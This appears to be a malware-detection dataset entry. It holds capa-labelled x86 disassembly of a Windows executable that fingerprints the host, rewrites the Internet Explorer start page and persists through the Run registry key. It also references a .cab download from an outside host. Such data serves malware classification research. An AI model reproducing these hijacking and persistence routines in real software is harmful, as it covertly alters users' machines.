joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404d10
Capabilities:
Set file attributes

Disassembly:
sub esp, 0x14
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
push ebx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x404d9b
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x10]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_DosDateTimeToFileTime]
test eax, eax
je 0x404d89
test edi, 0x100
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
mov dword [esp + 8], eax
mov dword [esp + 0xc], ecx
ja 0x404d78
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea ecx, [esp + 8]
push ecx
push 0
mov edx, ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and edi, 0x27
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
pop edi
pop esi
add esp, 0x14
ret 8

Function at 0x405280
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0xffffffffffffffff
push 0x45cc98
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push ebp
push edi
mov eax, dword [0x47aab0]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
lea ebx, [esi + 0x1134]
lea eax, [esp + 0x18]
call fcn.004023f0
mov dword [esp + 0x28], 0
mov eax, dword [esi + 0x1130]
test eax, eax
je 0x4052d9
push eax
push 0x46788c
lea eax, [esp + 0x20]
call fcn.004027b0
add esp, 8
mov eax, dword [esi + 0x1128]
xor edx, edx
lea edi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4052e4
sub eax, edi
sar eax, 1
cmp eax, dword [esi + 0x112c]
jb 0x405312
push 0x473694
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x1c], str.The_string_has_no_terminating_null_character_
call fcn.00444ccc
test eax, eax
je 0x40531c
mov edx, dword [esi + 0x1128]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebp, dword [esp + 0x18]
mov edi, eax
mov eax, dword [esi + 0x113c]
push eax
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push ebx
push edi
mov dword [esi + 0x1144], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
xor ecx, ecx
cmp dword [esi + 0x1144], ecx
mov dword [esi + 0x114c], eax
mov dword [esi + 0x1148], ecx
je 0x40539a
cmp eax, ecx
je 0x40539a
push ebp
mov dword [esp + 0x2c], 0xffffffff
call fcn.0041b267
add esp, 4
mov eax, 1
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebp
pop ebx
add esp, 0x1c
ret
push ebp
mov dword [esi + 0x10e4], 0x3ec
mov dword [esi + 0x10e8], ecx
mov dword [esi + 0x10ec], ecx
mov dword [esp + 0x2c], 0xffffffff
call fcn.0041b267
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebp
pop ebx
add esp, 0x1c
ret
Function at 0x40c560
Capabilities:
Get hostname
Resolve dns

Disassembly:
push 0xffffffffffffffff
push 0x45ca22
mov eax, dword fs:[0]
push eax
sub esp, 0x8c
mov eax, dword [0x47aab0]
xor eax, esp
mov dword [esp + 0x88], eax
push edi
mov eax, dword [0x47aab0]
xor eax, esp
push eax
lea eax, [esp + 0x94]
mov dword fs:[0], eax
mov dword [esp + 0x9c], 0
push esi
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], 0
call fcn.004120a0
push 0x80
lea eax, [esp + 0x14]
mov dword [esp + 0xa0], 0
push eax
mov dword [esp + 0x10], 1
call dword [sym.imp.WS2_32.dll_gethostname]
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x40c616
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
test eax, eax
jne 0x40c5fd
xor ecx, ecx
jmp 0x40c60d
mov ecx, eax
lea edi, [ecx + 1]
mov dl, byte [ecx]
add ecx, 1
test dl, dl
jne 0x40c602
sub ecx, edi
push ecx
push eax
mov ecx, esi
call fcn.00412380
mov eax, esi
mov ecx, dword [esp + 0x94]
mov dword fs:[0], ecx
pop ecx
pop edi
mov ecx, dword [esp + 0x88]
xor ecx, esp
call fcn.0043f428
add esp, 0x98
ret
Function at 0x40c640
Capabilities:
Get mac address on windows

Disassembly:
push 0xffffffffffffffff
push 0x45d218
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push ebp
push esi
push edi
mov eax, dword [0x47aab0]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
xor ebx, ebx
push 0x46759c
lea ecx, [esp + 0x18]
mov dword [esp + 0x28], ebx
call fcn.00407310
lea esi, [esp + 0x24]
mov dword [esp + 0x30], ebx
call fcn.0040c560
mov byte [esp + 0x30], 1
mov eax, dword [esp + 0x24]
cmp dword [eax - 0xc], ebx
jg 0x40c6ab
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
push eax
call fcn.00401f70
add esp, 4
jmp 0x40c7ee
push 0x288
mov dword [esp + 0x1c], 0x288
call fcn.00441423
mov edi, eax
add esp, 4
cmp edi, ebx
mov dword [esp + 0x1c], edi
je 0x40c7d8
lea ecx, [esp + 0x18]
push ecx
push edi
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
je 0x40c6f6
push edi
call fcn.00441346
mov edx, dword [esp + 0x1c]
push edx
call fcn.00441423
add esp, 8
mov dword [esp + 0x1c], eax
mov edi, eax
cmp edi, ebx
je 0x40c7d8
lea eax, [esp + 0x18]
push eax
push edi
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, ebx
jne 0x40c7d8
mov ebp, edi
lea eax, [ebp + 0x1b0]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x40c720
sub eax, edx
jne 0x40c739
mov ebp, dword [ebp]
cmp ebp, ebx
jne 0x40c713
jmp 0x40c7d8
lea ecx, [esp + 0x20]
call fcn.00401b10
mov byte [esp + 0x30], 2
mov eax, dword [ebp + 0x190]
xor esi, esi
cmp eax, ebx
jbe 0x40c7b3
movzx edx, byte [esi + ebp + 0x194]
add eax, 0xffffffff
mov ecx, esi
sub ecx, eax
neg ecx
sbb ecx, ecx
and ecx, 0xd
add ecx, 0x20
push ecx
push edx
lea eax, [esp + 0x28]
push str._02X_c
push eax
call fcn.00407ac0
add esp, 0x10
lea ebx, [esp + 0x20]
call fcn.00401be0
mov edi, eax
call fcn.00401c60
mov eax, dword [eax]
mov ecx, dword [eax - 0xc]
push ecx
push eax
lea ecx, [esp + 0x1c]
call fcn.00411ff0
mov eax, dword [ebp + 0x190]
add esi, 1
cmp esi, eax
jb 0x40c753
mov edi, dword [esp + 0x1c]
xor ebx, ebx
mov byte [esp + 0x30], 1
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c7d8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push edi
call fcn.00441346
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
push eax
call fcn.00401f70
add esp, 8
mov esi, dword [esp + 0x38]
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x30], bl
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c81b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x30], 0xffffffff
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c843
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x40e0c0
Capabilities:
Check if file exists
Create shortcut via ishelllink

Disassembly:
push 0xffffffffffffffff
push 0x45d8a0
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebp
push esi
push edi
mov eax, dword [0x47aab0]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x38]
mov esi, ecx
push 0
mov dword [esp + 0x20], 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0
push esi
call fcn.00441d4f
add esp, 8
cmp eax, 0xffffffff
je 0x40e1cf
call fcn.0041ba0a
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40e12a
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x18], eax
push ecx
mov dword [esp + 0x34], 0
mov ecx, esp
mov dword [esp + 0x24], esp
push ebp
lea edi, [esp + 0x20]
call fcn.00407310
push ecx
mov ecx, esp
mov dword [esp + 0x2c], esp
push esi
mov byte [esp + 0x3c], 1
call fcn.00407310
mov byte [esp + 0x38], 0
call fcn.0040de60
add esp, 8
or edx, 0xffffffff
mov dword [esp + 0x30], 0xffffffff
test eax, eax
mov eax, dword [esp + 0x18]
je 0x40e1b6
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40e19e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
add esp, 0x24
ret
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40e1cf
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x14]
push ecx
push 0x466bc4
push 1
push 0
push 0x466be4
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x40e26b
mov eax, dword [esp + 0x14]
mov edx, dword [eax]
push ebp
push eax
mov eax, dword [edx + 0x50]
call eax
mov edi, dword [esp + 0x3c]
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40e217
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x44]
push 0
push edi
push eax
call edx
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
lea edx, [esp + 0x18]
push edx
push 0x466c24
push eax
mov eax, dword [ecx]
call eax
test eax, eax
jl 0x40e25f
call dword [0x47bbf0]
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x18]
push 1
push esi
push eax
call edx
mov esi, eax
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
test esi, esi
jl 0x40e25f
mov dword [esp + 0x1c], 1
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
add esp, 0x24
ret
Function at 0x40e500
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x45d151
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push ebp
push esi
push edi
mov eax, dword [0x47aab0]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x38]
xor ebx, ebx
mov dword [esp + 0x30], ebx
push str.http_shellopencommand_
lea ecx, [esp + 0x24]
mov dword [esp + 0x28], ebx
call fcn.00407310
mov esi, 1
mov dword [esp + 0x30], esi
call fcn.0041ba0a
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x40e566
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp], eax
mov edx, dword [esp + 0x20]
lea ecx, [esp + 0x18]
push ecx
push 0x20019
push ebx
push edx
push SysReAllocStringLen
mov dword [esp + 0x38], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x40e614
mov edx, dword [esp + 0x18]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [esp + 0x14]
push eax
push ebx
lea ecx, [esp + 0x24]
push ecx
push ebx
push 0x46759c
push edx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x34], esi
call edi
cmp eax, ebx
jne 0x40e609
mov eax, dword [esp + 0x14]
cmp eax, ebx
jbe 0x40e609
push eax
call fcn.0041b262
mov edx, dword [esp + 0x1c]
add esp, 4
mov esi, eax
lea eax, [esp + 0x14]
push eax
push esi
lea ecx, [esp + 0x24]
push ecx
push ebx
push 0x46759c
push edx
call edi
test eax, eax
jne 0x40e600
push esi
push 0x469260
push ebp
call fcn.00407ac0
add esp, 0xc
push esi
call fcn.0041b267
add esp, 4
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [esp + 0x30], bl
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40e638
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, ebp
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x40f370
Capabilities:
Check os version

Disassembly:
sub esp, 0x118
mov eax, dword [0x47aab0]
xor eax, esp
mov dword [esp + 0x114], eax
push esi
push 0x110
xor esi, esi
lea eax, [esp + 0xc]
push esi
push eax
mov dword [esp + 0x10], 0x114
call fcn.00444730
add esp, 0xc
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [esp + 8], 6
mov eax, 1
jb 0x40f3bb
mov eax, esi
mov ecx, dword [esp + 0x118]
pop esi
xor ecx, esp
call fcn.0043f428
add esp, 0x118
ret
Function at 0x410650
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x45de7d
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x19b4
call fcn.00445700
mov eax, dword [0x47aab0]
xor eax, esp
mov dword [esp + 0x19b0], eax
push esi
mov eax, dword [0x47aab0]
xor eax, esp
push eax
lea eax, [esp + 0x19c0]
mov dword fs:[0], eax
lea eax, [esp + 0xc]
push eax
mov esi, ecx
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, esi
call fcn.00428928
push 0
lea ecx, [esi + 0xa4]
push ecx
lea edx, [esi + 0xb4]
push edx
call sub.gdiplus.dll_GdiplusStartup
push 0
push 0x1a
lea eax, [esp + 0x17b4]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0x4106f5
push eax
push eax
push 0x46a7e0
call fcn.004244d4
jmp 0x4107c2
lea ecx, [esp + 0x17ac]
push ecx
lea edx, [esi + 0xbc]
push 0x46a7f8
push edx
call fcn.00407ac0
add esp, 0xc
call fcn.00411b30
mov ecx, esi
call fcn.0040f930
test eax, eax
push 0x34
mov dword [esi + 0x328], eax
mov ecx, 0x47f984
push str.http:__down.meiriqixiang.com_dayweather_files000.cab
je 0x410758
call fcn.00401e80
push 0
push 0
push 0
push 0
push 0
push 0x40f8d0
call fcn.004258ac
test eax, eax
je 0x410781
mov eax, dword [eax + 0x2c]
push 0xffffffffffffffff
push eax
jmp 0x41077b
call fcn.00401e80
push 0
push 0
push 0
push 0
push 0
push 0x40fde0
call fcn.004258ac
test eax, eax
je 0x410781
mov ecx, dword [eax + 0x2c]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [esi + 0x328], 0
jne 0x4107c2
lea edx, [esp + 0x14]
push edx
call fcn.00412af0
lea eax, [esp + 0x14]
mov dword [esp + 0x19c8], 0
mov ecx, eax
mov dword [esi + 0x20], eax
call fcn.0041c574
lea ecx, [esp + 0x14]
push ecx
mov dword [esp + 0x19cc], 0xffffffff
call fcn.004107f0
xor eax, eax
mov ecx, dword [esp + 0x19c0]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x19b0]
xor ecx, esp
call fcn.0043f428
mov esp, ebp
pop ebp
ret

Function at 0x410900
Capabilities:
Set registry value

Disassembly:
push ecx
push edi
lea eax, [esp + 4]
push eax
push 2
xor edi, edi
push edi
push str.SoftwareMicrosoftInternet_ExplorerMain
push SysReAllocStringLen
mov dword [esp + 0x18], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x410956
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esp + 4]
add eax, eax
push eax
push esi
push 1
push edi
push str.Start_Page
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x41094b
mov edi, 1
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop ecx
ret
Function at 0x410f50
Capabilities:
Check if file exists
Create shortcut via ishelllink
Delete file

Disassembly:
push ecx
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push edi
call fcn.00441d4f
add esp, 8
cmp eax, 0xffffffff
je 0x410f76
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp]
push eax
push 0x466bc4
push 1
push 0
push 0x466be4
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x410fff
mov eax, dword [esp]
mov edx, dword [esp + 8]
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x50]
call eax
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x410fbb
mov eax, dword [esp]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x44]
push 0
push esi
push eax
call edx
mov eax, dword [esp]
mov ecx, dword [eax]
lea edx, [esp + 8]
push edx
push 0x466c24
push eax
mov eax, dword [ecx]
call eax
test eax, eax
jl 0x410ff4
call dword [0x47bbf0]
mov eax, dword [esp + 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x18]
push 1
push edi
push eax
call edx
mov eax, dword [esp + 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
pop ecx
ret 4
Function at 0x411010
Capabilities:
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x45c8f8
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push ebp
push esi
push edi
mov eax, dword [0x47aab0]
xor eax, esp
push eax
lea eax, [esp + 0x24]
mov dword fs:[0], eax
mov esi, 1
mov dword [esp + 0x2c], esi
xor edi, edi
call fcn.0041ba0a
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41105c
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x14], eax
mov byte [esp + 0x2c], 2
mov ecx, dword [esp + 0x34]
push ecx
lea edx, [esp + 0x18]
push str._s__autorun
push edx
call fcn.00407ac0
add esp, 0xc
lea eax, [esp + 0x18]
push eax
push 0x2001f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
mov ebx, dword [esp + 0x38]
jne 0x411170
mov eax, dword [esp + 0x18]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea ecx, [esp + 0x1c]
push ecx
push 0
lea edx, [esp + 0x28]
push edx
push 0
push ebx
push eax
mov dword [esp + 0x38], esi
mov dword [esp + 0x34], 0
call edi
test eax, eax
mov ebp, dword [esp + 0x14]
jne 0x411136
mov eax, dword [esp + 0x1c]
test eax, eax
jbe 0x411136
xor ecx, ecx
shr eax, 1
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0041b262
mov edx, dword [esp + 0x1c]
add esp, 4
mov esi, eax
lea eax, [esp + 0x1c]
push eax
push esi
lea ecx, [esp + 0x28]
push ecx
push 0
push ebx
push edx
call edi
test eax, eax
jne 0x411128
push esi
push ebp
call fcn.0043f623
add esp, 8
push esi
call fcn.0041b267
add esp, 4
mov esi, 1
cmp dword [ebp - 4], esi
jle 0x41114c
mov eax, dword [ebp - 0xc]
push eax
lea ecx, [esp + 0x18]
call fcn.00401fe0
mov ebp, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
push 0x104
push ebp
push esi
push 0
push ebx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, esi
jmp 0x411174
mov ebp, dword [esp + 0x14]
lea eax, [ebp - 0x10]
mov byte [esp + 0x2c], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411195
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x2c], 0
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4111ba
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [ebx - 0x10]
mov dword [esp + 0x2c], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4111de
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, edi
mov ecx, dword [esp + 0x24]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 8
Function at 0x4117a0
Capabilities:
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x45bbc8
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x47aab0]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
call fcn.0041ba0a
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4117dc
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 8], eax
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x14], 0
mov edx, dword [ecx + 0xbc]
push edx
lea eax, [esp + 0xc]
push str._sweathconfig.ini
push eax
call fcn.00407ac0
mov esi, dword [esp + 0x14]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esi - 0x10]
mov dword [esp + 0x14], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411840
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret 4
Function at 0x414390
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45b9e0
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x47aab0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, dword [ebp + 8]
xor edi, edi
push 0x40
mov word [esi + 0xaa], di
mov byte [esi + 0xa8], 1
mov word [esi + 0x324], di
mov dword [ebp - 4], edi
call fcn.0041b262
add esp, 4
mov dword [esi + 0x94], eax
jmp 0x414418
mov eax, dword [esi + 0x94]
mov dword [esi + 0x90], eax
mov dword [esi + 0x2b8], edi
mov dword [esi + 0x2bc], edi
mov dword [esi + 0x98], 0x67452301
mov dword [esi + 0x9c], 0xefcdab89
mov dword [esi + 0xa0], 0x98badcfe
mov dword [esi + 0xa4], 0x10325476
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x415150
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x45d9a7
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x47aab0]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov esi, dword [esp + 0x24]
xor ebx, ebx
mov dword [esp + 0x10], ebx
mov dword [esi], 0x46afa0
mov dword [esi + 8], 0x46afa8
mov dword [esi + 0x5c], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [esp + 0x1c], ebx
lea edi, [esi + 0xc]
push esi
mov dword [esp + 0x14], 1
call fcn.00416330
mov dword [esp + 0x1c], 1
mov eax, dword [esi]
mov ecx, dword [eax + 4]
push edi
mov dword [esi + ecx], vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
call fcn.00416bd0
lea edx, [edi + 8]
mov dword [edi + 0x10], edx
lea ecx, [edi + 0x18]
mov dword [edi + 0x20], ecx
lea edx, [edi + 0x1c]
mov dword [edi + 0x24], edx
mov dword [edi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [edi + 0x48], bl
mov byte [edi + 0x41], bl
lea eax, [edi + 0xc]
mov dword [edi + 0x14], eax
lea ecx, [edi + 0x28]
mov dword [edi + 0x30], ecx
lea edx, [edi + 0x2c]
mov dword [edi + 0x34], edx
mov dword [eax], ebx
mov eax, dword [edi + 0x24]
mov dword [eax], ebx
mov ecx, dword [edi + 0x34]
mov dword [ecx], ebx
mov edx, dword [edi + 0x10]
mov dword [edx], ebx
mov eax, dword [edi + 0x20]
mov edx, dword [0x47f9f0]
mov dword [eax], ebx
mov ecx, dword [edi + 0x30]
mov dword [ecx], ebx
mov dword [edi + 0x4c], ebx
mov dword [edi + 0x44], edx
mov dword [edi + 0x3c], ebx
mov eax, esi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4